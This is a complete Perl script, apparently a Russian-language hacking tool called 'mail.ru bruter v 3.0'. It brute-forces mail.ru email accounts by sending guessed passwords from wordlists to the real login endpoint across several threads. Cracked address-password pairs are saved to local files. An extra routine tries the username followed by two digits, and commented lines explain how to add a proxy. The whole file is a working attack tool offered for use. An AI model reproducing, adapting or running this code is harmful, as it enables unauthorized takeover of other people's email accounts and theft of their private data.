#!/usr/bin/perl use LWP::UserAgent; use threads; use threads::shared; my $num : shared; my $dyndyk : shared; my $thepass : shared; print "\a\a\a\a########## GeNoM-- mail.ru bruter v 3.0 || http://www.genom.h10.ru ###############\n"; my $ua = LWP::UserAgent->new( max_size => 1024, agent => 'kakep brayzer v 9.1.1', timeout => 30, ); # $proxy='127.0.0.1:8080'; # $ua->proxy('http'=>"http://$proxy"); # вот ваша прокся запишите тип http или socks и адрес можете в переменную можете просто так $threads=4; # количество потоков $tclover=40; # количество пасов отбручиваемых потоком $time=localtime; print "Start brute in $time\n"; open(pass,"<pass.txt"); while($sykaz=<pass>){$what_pass++;} close(pass); open(mails,"<mail.txt"); while($sykaz=<mails>){$what_mail++;} close(mails); print"\n~~~~~ total mails:$what_mail and password:$what_pass ~~~~~\n\n"; open(mails,"<mail.txt"); while ($mails=<mails>) { open(pass,"<pass.txt"); print"Start brute mail->$mails\n"; $mails=~s/\n//; ($login,$domain)=split(/\@/,$mails); # threads->create(\&loginbr); # вот перебор по логин+цифра если он нужен уберите решетку puk: # считываем пасы в массив для последующего скармливания их потоку for ($i = 0; $i < $tclover; $i++) { $password=<pass>; $password=~s/\n//; @passwd[$i]=$password; } open logg,">>log.txt";print logg "\n\nStart new thread with mail->$mails and password->@passwd[0]\n";close logg; threads->create(\&brut,@passwd); $num++; $got=$got+$tclover; $progr=int(($got/$what_pass)*100); print"\nStart new thread with mail->$mails & password->@passwd[0] & bruted password->$got & progress->$progr%\n"; sleep(1); if($got >= $what_pass){print"\n\nEnd of password list ....\n\n";goto(konec);} if($dyndyk==55){print"\n\n\a\a\a####### BRUTE PASSWORD [OK].... see brute_mail.txt #######\n\n";goto(konec);} check: if($num < $threads){goto(puk)} else{sleep(1);goto(check);}; konec: $got=0; foreach(threads->list) { $_->join } # ждем оконания остальных потоков и идем дальше close(pass); $dyndyk=0; } close(mails); sub brut { foreach $pyss(@_){ if($dyndyk==55){goto(proskok);} my $req = HTTP::Request->new(POST => 'http://win.mail.ru/cgi-bin/auth'); $req->content("page=&post=&login_from=http://mail.ru/&Login=$login&Domain=$domain&Password=$pyss"); $req->referer('http://win.mail.ru/cgi-bin/auth'); my $res = $ua->request($req); if($res->content=~/500 Can't connect/i) {print "Bad connect.......\n";exit;} if($res->content=~/checkcookie/i) {$dyndyk=55; print "\a\a\aFor $login\@$domain password->$pyss\n"; open brut, ">>brute-mail.txt";print brut "$login\@$domain password->$pyss\n";close brut; open logg,">>log.txt";print logg "For $login\@$domain password->$pyss\n";close logg;} proskok: } $num--; } sub loginbr { print"Start simple brute login->$login\n\n"; for($tt=0;$tt<=99;$tt++){ my $req = HTTP::Request->new(POST => 'http://win.mail.ru/cgi-bin/auth'); $req->content("page=&post=&login_from=http://mail.ru/&Login=$login&Domain=$domain&Password=$login$tt"); $req->referer('http://win.mail.ru/cgi-bin/auth'); my $res = $ua->request($req); if($res->content=~/500 Can't connect/i) {print "$yda4a\n";exit;} if($res->content=~/checkcookie/i) {$dyndyk=55; print "For $login\@$domain password->$login$tt\n"; open brut, ">>brute-mail.txt";print brut "$login\@$domain password->$login$tt\n";close brut; open logg,">>log.txt";print logg "For $login\@$domain password->$login$tt\n";close logg;goto(pyps); } pyps: } }